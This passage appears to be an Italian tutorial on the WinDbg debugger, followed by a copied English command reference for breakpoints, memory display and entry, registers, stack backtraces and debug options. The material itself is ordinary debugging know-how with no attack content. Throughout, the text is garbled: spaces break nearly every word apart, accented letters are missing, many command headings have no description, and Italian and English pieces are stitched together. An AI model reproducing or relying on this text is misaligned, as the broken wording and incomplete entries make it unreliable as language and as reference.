cr ear e pi br eakpoi nt s come l ul t i mo.
Spesso nel l a gest i one dei wat ch l e var i abi l i cont r ol l at e vanno f uor i scope per
cui al post o del val or e vi ene most r at o i l messaggi o :

CXX0017 Error: symbol not found

Un esempi o pot r ebbe esser e quando si cr ea una common di al og e si esegue i l br eak
del pr ogr amma nel l i st ant e i n cui si dent r o a COMDLG32. DLL cer cando oi di
vi sual i zzar e una var i abi l e dent r o al pr ogr amma con ?gVar
Per veder e l a var i abi l e dent r o al pr ogr amma suf f i cent e dar e

?{,,myapp}gVar

WDBG gest i sce una l i nea di comando al l o st ar t del debugger st esso.
Quest o si st ema pu esser e anche ut i l i zzat o per debuggar e un pr ogr amma
r i di r i gendo STDI N i n modo t al e che pr enda l i nput da t ast i er a.

windbg cmd /c "app < input.txt"


WDBG e s cur ament e un debugger mol t o pi adat t o al l uso con i sor gent i i n
quant o mol t e
i nf or mazi oni non
l e most r a.
Cosa si gni f i ca ?
Al cuni debugger
come Sof t I ce
devono r i cost r ui r e
l e i nf or mazi oni .
Nei codi ci
assembl at i vi
compai ono l e
i nf or mazi oni
si mbol i che sol o
per ch quest e
vengono
r i gener at e.
I n pr at i ca i l
debugger l egge l e
f unzi oni i mpor t at e
e gl i i ndi r i zzi
dove sono st at e
posi zi onat e.
Successi vament e va
a l egger e i l
codi ce sost i t uendo
gl i i ndi r i zzi di
chi amat a con i
nomi del l e
f unzi oni r el at i ve.
Chi ar ament e
possedendo i
sor gent i quest a r i cost r uzi one non necessar i a vi st o che si cur ament e l a f ase di
debug ver r esegui t a seguendo i l t r acci at o nel sor gent e.
I l debugger f or ni sce al cune i nf or mazi oni come ad esempi o quel l e dei modul i l et i
con i l pr ogr amma ( DLL, VBX ecc. )
Di spone di f i nest r e di wat ch, vi sual i zza i r egi st r i , per met t e di i nser i r e
br eakpoi t e possi ede un vsi aul i zzat or e che most r a l e chi amat e nel l o st ack.
Si cur ament e non i l massi mo per cer t i compi t i .
I comandi r el at i vi al l o st ep by st ep sono di sponi bi l i medi ant e pul sant i che
per met t ono di ent r ar e o passar e sopr a al l e f unzi oni pr esent i .
La seguent e l i st a most r a i comandi che possono esser e dat i i n WI NDEBUGGER n4el l a
f i nest r a COMMAND.

* Comment


; Command Separator

Synt ax

;

Exampl es

St ep t wi ce, pr i nt i ng t he var i abl e szVar af t er each st ep.

P; ?szVar ; P; ?szVar


Execut e t o sour ce l i ne 123, pr i nt t he val ue of count er , t hen cont i nue execut i on.

g@123; ?count er ; g

? Evaluate Expression

Eval uat es and di spl ays t he val ue of t he expr essi on or symbol i n t he cont ext of
t he cur r ent t hr ead and pr ocess.

Synt ax

? expr essi on [ , f or mat ]

Par amet er s

expr essi on

Expr essi on t o be eval uat ed wi t h t he expr essi on eval uat or .
The C++ expr essi on eval uat or cannot cal cul at e expr essi ons t hat use t he
condi t i onal oper at or ( ?: ) .

f or mat

C- st yl e f or mat char act er s. For exampl e, t o di spl ay an i nt , use " , i " as t he
f or mat speci f i er . Do not use per cent si gns ( %) . For mor e i nf or mat i on, see t he
t abl e bel ow.

Remar ks

The f ol l owi ng t abl e descr i bes t he C- st yl e f or mat char act er s.

Format Definition Example
D, d, I , I Si gned deci mal i nt eger . > ?0x100, i 256
u Unsi gned deci mal i nt eger . > ?- 1, u 4294967295
o Oct al i nt eger . > ?40000, o 0o00001000000
x, X Hexadeci mal i nt eger . > ?40000, x 0x00040000
f Si gned val ue i n f l oat i ng poi nt f or mat
wi t h si x deci mal pl aces ( t akes
i mpl i ci t / expl i ci t t ype FLOAT as an ar gument ) .
> ?( f l oat ) ( 3. / 2. ) , f 1. 500000
e, E Si gned val ue i n sci ent i f i c not at i on wi t h
up t o si x deci mal pl aces ( t r ai l i ng zer os and
deci mal poi nt ar e t r uncat ed) .
> ?( f l oat ) ( 3. / 2. ) , e 1. 500000e+000
g, G Si gned val ue i n f l oat i ng poi nt deci mal
f or mat or sci ent i f i c f or mat , whi chever i s mor e
compact . > ?( f l oat ) ( 3. / 2. ) , g 1. 5
c Si ngl e char act er . > ?41, c ' A'
s Char act er s up t o t he f i r st nul l
char act er .
> ?szHel l o, s Hel l o ( szHel l o=" Hel l o" )
l Long- Wor d modi f i er . > ?3. / 2. , l f 1. 500000
L Long- Long Wor d modi f i er > ?0xf f f f f f f f , Li - 1
h Hal f - Wor d modi f i er : > ?0x12345, hi 9029

Not e The ' l " , " L" , and " h" modi f i er s wor k di f f er ent l y wi t h di f f er ent base
t ypes.
I f , f or i nst ance, you ar e coer ci ng an expr essi on t o t ype l ong doubl e ( 80 bi t ) ,
t he " L" modi f i er wi l l wor k cor r ect l y on t hat expr essi on. The " L" modi f i er al so
wor ks cor r ect l y on l ong l ong i nt eger expr essi ons, as shown i n t he t abl e above.
Wi ndows Debugger i mpl i ci t l y cast val ues when eval uat i ng an expr essi on. I t
oper at es on t he act ual bi t quant i t y unl ess coer ced t hr ough cast i ng, as shown
above.

! User Extension DLL

Cal l s a DLL f unct i on f r om t he debugger . Use t hi s command t o cal l speci al
r out i nes whi l e debuggi ng.

Synt ax

! [ f i l ename. ] f unct i on [ st r i ng]

Par amet er s

f i l ename

Name of t he DLL t o cal l ( wi t hout t he . DLL ext ensi on) , f ol l owed by a per i od ( . ) .
The def aul t f i l ename i s NTSDEXTS. DLL.

I n ker nel debuggi ng, t he def aul t ext ensi on DLL depends upon t he t ar get pl at f or m:

Tar get Pl at f or m Def aul t Ext ensi on DLL
x86 KDEXTX86. DLL
ALPHA KDEXTALP. DLL
f unct i on

Name of t he DLL f unct i on t o cal l .

st r i ng

St r i ng t o pass t o t he DLL f unct i on.

Remar ks

For a compl et e l i st of t he bui l t - i n ext ensi on commands, ent er ! ? at t he Wi ndows
Debugger pr ompt . For i nf or mat i on on cr eat i ng and usi ng ker nel debugger
ext ensi ons, see t he Wi ndows NT DDK.

| Display Process State

~ Display Thread State

# Search for Disassembly Pattern

% Change Context

Changes t he cont ext t o t he speci f i ed f r ame. Updat es t he Local s wi ndow wi t h t he
var i abl es of t he new f r ame.

Use t he KN command t o l i st t he cal l st ack wi t h t he f r ame number s.

Synt ax

%[ f r ame]

Par amet er s

f r ame

The number of t he f r ame on t he cal l st ack t o change cont ext t o. The cur r ent
pr ocedur e i s number 0 on t he st ack.

.attach Attach to Process

St ar t s debuggi ng t he pr ocess speci f i ed by pr ocess. You can use PVi ew t o f i nd
pr ocess I Ds of r unni ng pr ogr ams.

Thi s command i s equi val ent t o t he / P command- l i ne opt i on. You can al so cl i ck
At t ach t o a Pr ocess f r omt he Debug menu or pr ess F6.

Synt ax

. at t ach pr ocess

Par amet er s

pr ocess

Pr ocess i dent i f i er of t he t ask t o debug, speci f i ed i n deci mal . Use t he 0x pr ef i x
t o speci f y t he pr ocess i dent i f i er i n hexadeci mal .

Remar ks

The pr ocess i s at t ached unt i l t he debugger i s t er mi nat ed. Ther e i s no command t o
unat t ach.

.break Debug Break

.cache Cache Size

Wi nDbg KD onl y

Set s t he si ze of t he cache f or Wi nDbg KD t o use f or memor y val ues.

Synt ax

. cache [ cachesi ze]

Par amet er s

cachesi ze

The si ze of t he ker nel debuggi ng cache, i n MB. I f you do not speci f y cachesi ze,
t he command di spl ays t he st at us of t he cache. I f you i ssue t he command . cache 0,
t he cache i s di sabl ed.

Remar ks

Nor mal oper at i ons, such as si ngl e- st eppi ng or t he G command, i nval i dat e t he
cache. I f Wi nDbg KD has f r ozen t he t ar get comput er , but har dwar e on t he t ar get
can change memor y ( f or exampl e, t hr ough shar ed memor y or DMA) , you must di sabl e
t he cache t o see t he memor y changes. For mor e i nf or mat i on, see Set t i ng Ker nel
Debugger Opt i ons.

.connect Establish Connection

.disconnect Drop Connection

.kill Terminate Process

.list Display Source/Assembly Listing

.logappend Append Log File

.logclose Close Log File

.logopen Open Log File

.opt Set Option

Set s debug opt i ons. To vi ew t he cur r ent debug opt i on set t i ngs, use t hi s command
wi t h no par amet er s. To modi f y a set t i ng, speci f y t he name of t he debug opt i on
and t he appr opr i at e val ue, as i ndi cat ed bel ow. The vi ew an i ndi vi dual debug
opt i on set t i ng, speci f y onl y t he name of t he debug opt i on.

Synt ax

. opt [ DebugOpt i on]

Par amet er s

DebugOpt i on

Thi s par amet er be one of t he f ol l owi ng val ues.

Val ue Meani ng
? Di spl ays t he l i st of suppor t ed debug opt i ons.
AsmSymbol s [ on | of f ] I f t hi s set t i ng i s on, show symbol s i n di sassembl y.
AsmRaw [ on | of f ] I f t hi s set t i ng i s on, show r aw dat a i n di sassembl y.
At t achGo [ on | of f ] I f t hi s set t i ng i s on, do not st op debuggi ng when a new
pr ocess i s at t ached.
Backgr oundSym[ on | of f ] I f t hi s set t i ng i s on, l oad symbol s i n t he backgr ound.
CaseSensi t i ve [ on | of f ] I f t hi s set t i ng i s on, t ur n on case sensi t i vi t y.
Chi l dGo [ on | of f ] I f t hi s set t i ng i s on, do not st op debuggi ng when a new
chi l d pr ocess i s cr eat ed.
CommandRepeat [ on | of f ] I f t hi s set t i ng i s on, ENTER r epeat s t he l ast command.
Dl l Emf i l ename Speci f i es t he name of t he execut i on model DLL.
Dl l Sh f i l ename Speci f i es t he name of t he t r anspor t l ayer DLL.
Dl l Tl f i l ename [ ar gs] Speci f i es t he t r anspor t l ayer DLL.
Dl l Pat h [ " pat h" ] Speci f i es t he sear ch pat h f or symbol s.
EPSt ep [ on | of f ] I f t hi s set t i ng i s on, t he f i r st st ep goes t o t he ent r y
poi nt , not t o mai n.
Exi t Go [ on | of f ] I f t hi s set t i ng i s on, do not st op debuggi ng when a
t hr ead t er mi nat es.
I nher i t Handl es [ on | of f ] I f t hi s set t i ng i s on, t he t ar get appl i cat i on i nher i t s
handl es. Thi s i s usef ul f or debuggi ng debugger s.
I gnor eAl l [ on | of f ] I f t hi s set t i ng i s on, i gnor e al l messages about
symbol s.
KdI ni t i al Bp [ on | of f ] I f t hi s set t i ng i s on, ker nel debuggi ng st ops at t he
i ni t i al br eakpoi nt .
KdEnabl e [ on | of f ] I f t hi s set t i ng i s on, t ur n on t he ker nel debugger .
KdGoExi t [ on | of f ] I f t hi s set t i ng i s on, go on exi t .
KdUseModem[ on | of f ] I f t hi s set t i ng i s on, t he ker nel debugger uses modem
cont r ol s.
KdBaudRat e [ baud] Speci f i es t he ker nel debugger baud r at e ( 1200, 2400, ) .
KdPor t [ por t ] Speci f i es t he ker nel debugger communi cat i on por t ( COM1,
COM2, ) .
KdCacheSi ze [ si ze] Speci f i es t he ker nel debugger cache si ze, i n byt es.
KdPl at f or m[ x86 | al pha] Speci f i es t he ker nel debugger t ar get syst em.
MasmEval [ on | of f ] I f t hi s set t i ng i s on, t ur ns on MASM- st yl e expr essi on
eval uat i on.
Not i f yExi t [ on | of f ] I f t hi s set t i ng i s on, pr i nt s a message upon t hr ead
t er mi nat i on.
Not i f yNew [ on | of f ] I f t hi s set t i ng i s on, pr i nt s a message upon t hr ead
cr eat i on.
Shor t Cont ext [ on | of f ] I f t hi s set t i ng i s on, di spl ays abbr evi at ed cont ext
i nf or mat i on.
Ver bose [ on | of f ] I f t hi s set t i ng i s on, t ur ns on ver bose out put mode.

.reboot Reboot Target Computer

.reload Reload Symbols

.start Start Debugging

.title Set Title

BA Break on Access

Set s a br eakpoi nt t hat wi l l be sat i sf i ed when t he speci f i ed memor y i s accessed.

Thi s command i s equi val ent t o t he BP command wi t h t he f ol l owi ng ar gument :
=addr ess [ / Rcount ] .

Synt ax

BA {access}{si ze} {addr ess}

Par amet er s

access

The t ype of access t hat wi l l sat i sf y t he br eakpoi nt . Thi s par amet er can be one
of t he f ol l owi ng val ues.

Val ue Meani ng
r Br eak on r ead access.
w Br eak on wr i t e access.
e Br eak on execut e access.
si ze

The si ze of t he l ocat i on, i n byt es, t o be moni t or ed f or access. Thi s par amet er
can be 1, 2, or 4.

addr ess

The addr ess at whi ch t o st ar t moni t or i ng.

Remar ks

Thi s command pr ovi des t he same f unct i onal i t y t hat t he debug r egi st er s pr ovi de.
You can br eak execut i on when t he par t i cul ar memor y l ocat i on i s r ead f r om,
wr i t t en t o, or execut ed. The f ol l owi ng exampl e set s a br eakpoi nt f or r ead access
on f our byt es of t he var i abl e var :

ba r 4 &var


The br eakpoi nt i s sat i sf i ed onl y when t he access occur s at t he gi ven addr ess and
f or t he speci f i ed number of byt es. I f t he memor y accessed over l aps t he speci f i ed
ar ea t o moni t or , t he br eakpoi nt i s not sat i sf i ed.
Not e t hat al t hough t he si ze i s r equi r ed f or al l br eakpoi nt t ypes, an execut e
br eakpoi nt i s onl y sat i sf i ed i f t he addr ess i s t he f i r st byt e i n t he
i nst r uct i on.

BC Breakpoint Clear

Removes one or mor e pr evi ousl y set br eakpoi nt s f r omt he syst em. BC * cl ear s al l
br eakpoi nt s.

Thi s command i s equi val ent t o cl i cki ng Br eakpoi nt s f r om t he Edi t menu and
cl i cki ng Cl ear or Cl ear Al l .

Synt ax

BC {br eakpoi nt [ [ br eakpoi nt . . . ] ] | *}

Par amet er s

br eakpoi nt

The number of t he br eakpoi nt t o be cl ear ed. Use t he Br eakpoi nt Li st ( BL) command
t o di spl ay cur r ent l y set br eakpoi nt s and t hei r number s. Speci f y r anges of
br eakpoi nt s wi t h a hyphen. Separ at e mul t i pl e br eakpoi nt s wi t h spaces or commas.


BD Breakpoint Disable

Di sabl es, but does not del et e, one or mor e br eakpoi nt s. BD * di sabl es al l
br eakpoi nt s. Whi l e a br eakpoi nt i s di sabl ed, t he syst emdoes not check t o see i f
t he condi t i ons speci f i ed i n t he br eakpoi nt ar e val i d.

Use t he BE command t o r eenabl e a di sabl ed br eakpoi nt .
Thi s command i s equi val ent t o cl i cki ng Br eakpoi nt s f r om t he Edi t menu and
cl i cki ng Di sabl e.

Synt ax

BD {br eakpoi nt [ [ br eakpoi nt . . . ] ] | *}

Par amet er s

br eakpoi nt

The number of t he br eakpoi nt t o be di sabl ed. Use t he Br eakpoi nt Li st ( BL)
command t o di spl ay cur r ent l y set br eakpoi nt s and t hei r number s. Speci f y r anges
of br eakpoi nt s wi t h a hyphen. Separ at e mul t i pl e br eakpoi nt s wi t h spaces or
commas.

BE Breakpoint Enable

Rest or es one or mor e br eakpoi nt s t hat wer e t empor ar i l y di sabl ed by t he BD
command. BE * enabl es al l br eakpoi nt s.

Thi s command i s equi val ent t o cl i cki ng Br eakpoi nt s f r om t he Edi t menu and
cl i cki ng Enabl e.

Synt ax

BE {br eakpoi nt [ [ br eakpoi nt . . . ] ] | *}

Par amet er s

br eakpoi nt

The number of t he br eakpoi nt t o be enabl ed. Use t he BL command t o di spl ay
cur r ent l y set br eakpoi nt s and t hei r number s. Speci f y r anges of br eakpoi nt s wi t h
a hyphen. Separ at e mul t i pl e br eakpoi nt s wi t h spaces or commas.


BL Breakpoint List

Li st s al l br eakpoi nt s.

Thi s command i s equi val ent t o cl i cki ng Br eakpoi nt s f r omt he Edi t menu.

Synt ax

BL

Remar ks

For each br eakpoi nt , t he command di spl ays t he f ol l owi ng:

The br eakpoi nt number
The br eakpoi nt st at us, wher e " E" i s f or enabl ed, " D" i s f or di sabl ed, " V"
i s f or vi r t ual , and " U" i s f or unknown addr ess. A vi r t ual br eakpoi nt i s a
br eakpoi nt f or code t hat i s not cur r ent l y l oaded.
The condi t i onal i nf or mat i on speci f yi ng t he br eakpoi nt , such as t he
addr ess, expr essi on, and l engt h. I f a br eakpoi nt has a pass count , t he r emai ni ng
number of t i mes t hat t he br eakpoi nt wi l l be i gnor ed i s l i st ed i n par ent heses.

BL al so di spl ays commands t o execut e, message/ message cl asses ( i n t he case of
message br eakpoi nt s) , t hr ead and pr ocess number .

See Al so

Cont ext Oper at or

BP Set Breakpoint

Set s a br eakpoi nt . You can combi ne l ocat i ons, condi t i ons, and opt i ons t o set
di f f er ent ki nds of br eakpoi nt s. I f you do not speci f y a t hr ead, t he br eakpoi nt
wi l l appl y t o al l t hr eads.

Thi s command i s equi val ent t o cl i cki ng Br eakpoi nt s f r om t he Edi t menu and
cl i cki ng Add.

Synt ax

[ [ t hr ead] ] BP[ [ br eakpoi nt ] ] [ [ l ocat i on] ] [ [ condi t i on] ] [ [ opt i on. . . ] ]

Par amet er s

t hr ead

The t hr ead t hat t he br eakpoi nt wi l l appl y t o. For mor e i nf or mat i on, see Pr ocess
and Thr ead Synt ax.

br eakpoi nt

The br eakpoi nt number t o be set . I f t he gi ven br eakpoi nt number al r eady exi st s,
t he new br eakpoi nt wi l l r epl ace t he ol d.

l ocat i on

The memor y l ocat i on of t he br eakpoi nt , i n t he f or mat gi ven i n t he t abl e bel ow.

condi t i on

One of t he br eakpoi nt condi t i ons gi ven i n t he t abl e bel ow. You can speci f y
mul t i pl e condi t i ons f or a br eakpoi nt .

opt i on

One of t he br eakpoi nt opt i ons gi ven i n t he t abl e bel ow. Separ at e mul t i pl e
opt i ons wi t h spaces.

Remar ks

I f you want t o put a br eakpoi nt on a C++ publ i c, encl ose t he expr essi on i n
par ent heses. For exampl e, " BP ( ??MyPubl i c) " or " BP ( oper at or new) " .
On x86 comput er s, Wi ndows Debugger wi l l use debug r egi st er s t o i mpl ement
br eakpoi nt s i f :

t her e i s a debug r egi st er avai l abl e
memor y si ze i s 1
memor y si ze i s 2 and addr ess i s WORD al i gned
memor y si ze i s 4 and addr ess i s DWORD al i gned

You can use t he f ol l owi ng opt i ons when set t i ng a br eakpoi nt :

Locat i on Descr i pt i on
[ [ {[ [ pr ocedur e] ] , [ [ modul e] ] , [ [ exe] ] }] ]
addr ess The addr ess f or t he br eakpoi nt .
[ [ {[ [ pr ocedur e] ] , [ [ modul e] ] , [ [ exe] ] }] ]
@l i ne The l i ne number f or t he br eakpoi nt .
Condi t i on Descr i pt i on
?expr essi on Br eak i f expr essi on i s t r ue.
=addr ess [ [ / Rcount ] ] Br eak i f memor y at addr ess has changed. Use t he / R
opt i on t o speci f y t he number of byt es t o check ( def aul t i s 1) .
Opt i on Descr i pt i on
/ Pcount I gnor e t he br eakpoi nt count t i mes.
/ Ccmdl i st Execut e cmdl i st when t he br eakpoi nt i s hi t . The cmdl i st par amet er i s
a semi col on- separ at ed l i st of one or mor e debugger commands. I f cmdl i st i ncl udes
mul t i pl e commands, encl ose i t i n quot es ( " ) .
/ Mmessagename
/ Mmessagecl ass Br eak onl y i f t he gi ven Wi n32 message or message cl ass has
been r ecei ved.
/ Q Suppr ess t he unr esol ved- br eakpoi nt di al og box f or t hi s br eakpoi nt .
/ Hpr ocess Speci f y t he pr ocess number t o at t ach t he br eakpoi nt t o. Def aul t s t o
al l t hr eads i n t he pr ocess i f / T i s not used. I f / H i s not speci f i ed and no
t ar get appl i cat i on i s r unni ng, t he def aul t i s pr ocess 0.
/ Tt hr ead Speci f y t he t hr ead number t o at t ach t he br eakpoi nt t o. Def aul t s t o
t he cur r ent pr ocess i f / H i s not used.
See Al so

Cont ext Oper at or

C Compare Memory

Compar es t he val ues hel d i n t wo memor y ar eas. Speci f y t he f i r st ar ea wi t h t he
r ange par amet er . Speci f y t he st ar t i ng addr ess of t he second ar ea wi t h addr ess.
The second ar ea i s t he same l engt h as t he f i r st . I f t he t wo ar eas ar e not
i dent i cal , Wi ndows Debugger wi l l di spl ay al l memor y addr esses i n r ange wher e
t hey do not agr ee.

Synt ax

C r ange addr ess

Par amet er s

r ange

The f i r st memor y ar ea t o compar e. For mor e i nf or mat i on, see Range Synt ax.

addr ess

The st ar t i ng addr ess of t he second memor y ar ea.

DA, DB, DC, DD, DI, DS, DT, DU, DW Display Memory

Di spl ays t he cont ent s of memor y i n t he gi ven r ange. Each l i ne shows t he addr ess
of t he f i r st byt e i n t he l i ne, f ol l owed by t he cont ent s of memor y at t hat and
f ol l owi ng l ocat i ons.

I f you omi t r ange, t he command wi l l di spl ay memor y st ar t i ng at t he endi ng
l ocat i on of t he l ast di spl ay command. Thi s al l ows you t o cont i nuousl y scan
t hr ough memor y.
Thi s command i s equi val ent t o cl i cki ng Memor y f r om t he Vi ew menu, or pr essi ng
ALT+5.

Synt ax

D{A| B| C| D| I | S| T| U| W} [ [ r ange] ]

Par amet er s

r ange

The memor y ar ea t o di spl ay. For mor e i nf or mat i on, see Range Synt ax.

Remar ks

When Wi ndows Debugger i s di spl ayi ng ANSI or Uni code char act er s, i t wi l l st op
di spl ayi ng char act er s at t he f i r st nul l byt e. When di spl ayi ng ANSI char act er s,
al l char act er s, i ncl udi ng non- pr i nt abl e char act er s, ar e di spl ayed usi ng t he
cur r ent code page char act er set . Wi t h Uni code, al l non- pr i nt abl e and non-
mappabl e char act er s ar e di spl ayed as dot s.

Command Def i ni t i on Di spl ays
DA Di spl ay ANSI ANSI ( ext ended ASCI I ) char act er s
DB Di spl ay Byt es ( char ) Byt e val ues and ANSI char act er s
DC Di spl ay Code Assembl y- l anguage i nst r uct i ons ( di sassembl y)
DD Di spl ay Doubl e Wor ds ( l ong) Doubl e- wor d ( f our - byt e) val ues and ANSI
char act er s
DI Di spl ay 8- Byt e Real s ( doubl e) 8- byt e hexadeci mal val ues and f l oat i ng- poi nt
r epr esent at i ons
DS Di spl ay 4- Byt e Real s ( f l oat ) 4- byt e hexadeci mal val ues and f l oat i ng- poi nt
r epr esent at i ons
DT Di spl ay 10- Byt e Real s ( l ong doubl e) 10- byt e hexadeci mal val ues and
f l oat i ng- poi nt r epr esent at i ons
DU Di spl ay Uni code Uni code char act er s
DW Di spl ay Wor ds ( shor t ) Wor d val ues and Uni code char act er s
Not e Wi t h t he DC ( Dump Code) command, you can use t he st andar d r ange synt ax or
st ar t addr ess L l i ne t o dump l i ne i nst r uct i ons st ar t i ng at st ar t addr ess.

EA, EB, ED, EI, ES, ET, EU, EW Enter Values

Ent er s t he val ues t hat you speci f y i nt o memor y. I f you do not speci f y any
val ues, t he cur r ent addr ess and t he val ue at t hat addr ess wi l l be di spl ayed. You
can t hen ent er a new val ue, pr eser ve t he cur r ent val ue i n memor y by pr essi ng t he
space bar , or st op ent er i ng dat a by pr essi ng ENTER.

Thi s command i s equi val ent t o cl i cki ng Memor y f r om t he Vi ew menu, or pr essi ng
ALT+5, and ent er i ng val ues.

Synt ax

E{A| B| D| I | S| T| U| W} addr ess [ [ val ues] ]

Par amet er s

addr ess

The st ar t i ng addr ess at whi ch t o ent er val ues.

val ues

One or mor e val ues t o ent er i nt o memor y. Separ at e mul t i pl e numer i c val ues wi t h
spaces.

Remar ks

When ent er i ng numer i c val ues, you can use C- st yl e r adi x pr ef i xes t o over r i de t he
def aul t r adi x. Pr ef i x oct al const ant s wi t h a " 0o" ( f or exampl e 0o1776) ,
hexadeci mal const ant s wi t h " 0x" ( f or exampl e 0xF000) , and deci mal const ant s wi t h
" 0t " ( f or exampl e 0t 199) .
When ent er i ng ANSI or Uni code val ues, you can i ncl ude space ( " " ) char act er s by
encl osi ng t he char act er st r i ng i n quot at i on mar ks ( " or ' ) . I f you encl ose t he
st r i ng i n doubl e quot at i on mar ks, Wi ndows Debugger wi l l aut omat i cal l y nul l -
t er mi nat e t he st r i ng. Si ngl e quot at i on mar ks ( ' ) wi l l not add a nul l char act er .
You can ent er st andar d C escape char act er s, such as \ t , \ 007, and \ " .

Command Ent er
EA ANSI ( ext ended ASCI I ) char act er s
EB Byt e val ues
ED Doubl e wor d ( f our - byt e) val ues
EI Fl oat i ng- poi nt number s ( 8- byt e)
ES Fl oat i ng- poi nt number s ( 4- byt e)
ET Fl oat i ng- poi nt number s ( 10- byt e)
EU Uni code char act er s
EW Wor d val ues

F Freeze Thread

Fr eezes t he gi ven t hr ead, causi ng i t t o st op and wai t unt i l i t i s unf r ozen.
Ot her t hr eads wi l l cont i nue t o execut e. I f no t hr ead i s speci f i ed, t he cur r ent
t hr ead i s f r ozen.

Use t he Z ( Unf r eeze t hr ead) command t o r eenabl e t he t hr ead.
Thi s command i s equi val ent t o cl i cki ng Thr eads f r om t he Debug menu, t hen
cl i cki ng Fr eeze or Fr eeze Al l .

Synt ax

[ [ t hr ead] ] F

Par amet er s

t hr ead

The t hr ead t o be f r ozen. For mor e i nf or mat i on, see Pr ocess and Thr ead Synt ax.
FI A, FI B, FI D, FI I , FI S, FI T, FI U, FI W Fi l l Memor y

Fi l l s t he memor y ar ea speci f i ed by r ange wi t h pat t er n. The ent i r e r ange wi l l be
f i l l ed by r epeat edl y st or i ng pat t er n i nt o memor y.

Synt ax

FI {A| B| D| I | S| T| U| W} r ange pat t er n

Par amet er s

r ange

The memor y ar ea t o f i l l . For mor e i nf or mat i on, see Range Synt ax.

pat t er n

One or mor e val ues t o f i l l memor y wi t h. Separ at e mul t i pl e numer i c val ues wi t h
spaces.

Remar ks

When ent er i ng numer i c val ues, you can use C- st yl e r adi x pr ef i xes t o over r i de t he
def aul t r adi x. Pr ef i x oct al const ant s wi t h a " 0o" ( f or exampl e 0o1776) ,
hexadeci mal const ant s wi t h " 0x" ( f or exampl e 0xF000) , and deci mal const ant s wi t h
" 0t " ( f or exampl e 0t 199) .
When ent er i ng ANSI or Uni code val ues, you can i ncl ude space ( " " ) char act er s by
encl osi ng t he char act er st r i ng i n quot at i on mar ks ( " or ' ) . I f you encl ose t he
st r i ng i n doubl e quot at i on mar ks, Wi ndows Debugger wi l l aut omat i cal l y nul l -
t er mi nat e t he st r i ng. Si ngl e quot at i on mar ks ( ' ) wi l l not add a nul l char act er .
You can ent er st andar d C escape char act er s, such as \ t , \ 007, and \ " .


Command Def i ni t i on Fi l l

FI A Fi l l ANSI ANSI ( ext ended ASCI I ) char act er s
FI B Fi l l Byt es ( char ) Byt e val ues
FI D Fi l l Doubl e Wor ds ( l ong) Doubl e- wor d ( f our - byt e) val ues
FI I Fi l l 8- Byt e Real s ( doubl e) Fl oat i ng- poi nt number s
FI S Fi l l 4- Byt e Real s ( f l oat ) Fl oat i ng- poi nt number s
FI T Fi l l 10- Byt e Real s ( l ong doubl e) Fl oat i ng- poi nt number s
FI U Fi l l Uni code Uni code char act er s
FI W Fi l l Wor ds ( shor t ) Wor d val ues


FR Floating-Point Registers

G Go

GH Go- Exception Handled

GN Go- Exception Not Handled

K, KB, KN, KS, KV Display Stack Backtrace

Di spl ays t he st ack f r ame of t he gi ven t hr ead.

Synt ax

[ [ t hr ead] ] K[ BNSV] [ [ f r amecount ] ] [ [ =f r ameaddr st ackaddr pr ogr amcount er ] ]

Par amet er s

t hr ead

The t hr ead whose st ack i s t o be di spl ayed. For mor e i nf or mat i on, see Pr ocess and
Thr ead Synt ax.

f r amecount

Number of st ack f r ames t o di spl ay.

f r ameaddr
st ackaddr
pr ogr amcount er

When exami ni ng a cor r upt ed st ack on an x86 comput er , you can wal k t he
uncor r upt ed por t i on of t he st ack by speci f yi ng i t s f r ame addr ess, st ack addr ess,
and pr ogr amcount er . Thi s r equi r es det ai l ed knowl edge of how t he st ack wor ks.

Remar ks

Each di spl ay l i ne shows t he name or addr ess of t he pr ocedur e cal l ed, t he
ar gument s used on t he cal l , and t he addr ess of t he st at ement t hat cal l ed i t . You
can use any or al l of t he opt i ons i n a si ngl e command; f or exampl e, K, KB, and
KBNSV ar e val i d commands. The f ol l owi ng t abl e descr i bes t he ef f ect of t he
opt i ons:

Opt i on Ef f ect
none Di spl ays t he basi c cal l st ack based on debuggi ng i nf or mat i on i n t he
execut abl e. I t di spl ays t he f r ame poi nt er , r et ur n addr ess, and f unct i on names.
B Addi t i onal l y di spl ays t he f i r st t hr ee par amet er s of each f unct i on.
N Addi t i onal l y di spl ays t he f r ame number s f or each cal l .
S Addi t i onal l y di spl ays sour ce modul e and l i ne number i nf or mat i on f or each
cal l .
V Addi t i onal l y di spl ays r unt i me f unct i on i nf or mat i on.


L Restart Debuggee

LM List Loaded Modules

Li st s t he speci f i ed l oaded modul es.

Synt ax

LM [ / s [ / o] ] [ / f ] [ modul ename]

Par amet er s

/ s

Li st segment ed modul es. I f you do not speci f y a modul e name, LM wi l l l i st al l
l oaded modul es.

/ f

Li st f l at modul es.

/ o

Sor t s segment ed modul es by sel ect or .

modul ename

Modul e t o l i st .

Remar ks

I f / f and / s ar e bot h absent f r om t he command l i ne, LM wi l l assume bot h; t he
f ol l owi ng t wo commands ar e equi val ent :

> LM
> LM / f / s


Segment ed modul es ar e sor t ed by modul e name, t hen sel ect or , unl ess you speci f i ed
/ o. Fl at modul es ar e sor t ed by base addr ess.

LN Li st Near est Symbol s

Di spl ays t he symbol s at or near t he gi ven addr ess. You can use t hi s command t o
hel p det er mi ne what a poi nt er i s poi nt i ng t o. I t al so can be usef ul when l ooki ng
at a cor r upt ed st ack t o det er mi ne whi ch pr ocedur e made a cal l .

Synt ax

LN addr ess

Par amet er s

addr ess

The addr ess t o sear ch f or symbol s.

M Move Memory

N Set Number Base

P Program Step

Q Quit WinDbg

R Registers

Di spl ays or modi f i es r egi st er s. I f you do not speci f y a t hr ead, t he cur r ent
t hr ead i s used.

Thi s command i s equi val ent t o cl i cki ng Regi st er s f r omt he Vi ew menu, or pr essi ng
ALT+4.

Synt ax

[ [ t hr ead] ] R [ [ r egi st er [ [ =val ue] ] ] ]

Par amet er s

t hr ead

The t hr ead f r om whi ch t he r egi st er s ar e t o be r ead. For mor e i nf or mat i on, see
Pr ocess and Thr ead Synt ax.

r egi st er

The r egi st er t o di spl ay or modi f y.

val ue

The val ue t o assi gn t o t he r egi st er .

Remar ks

I f you do not speci f y a r egi st er , al l of t he r egi st er s ar e di spl ayed. I f you
speci f y a r egi st er , t he command di spl ays t he cur r ent val ue of t he r egi st er . I f
you speci f y bot h a r egi st er and a val ue, t he command changes t he r egi st er t o
cont ai n t he val ue.
Use t he FR ( Fl oat i ng- Poi nt Regi st er s) command t o vi ew and modi f y f l oat i ng- poi nt
r egi st er s.


REMOTE Start Remote Server

RT Register Display Toggle

S+, S- Set Source/Assembly Mode

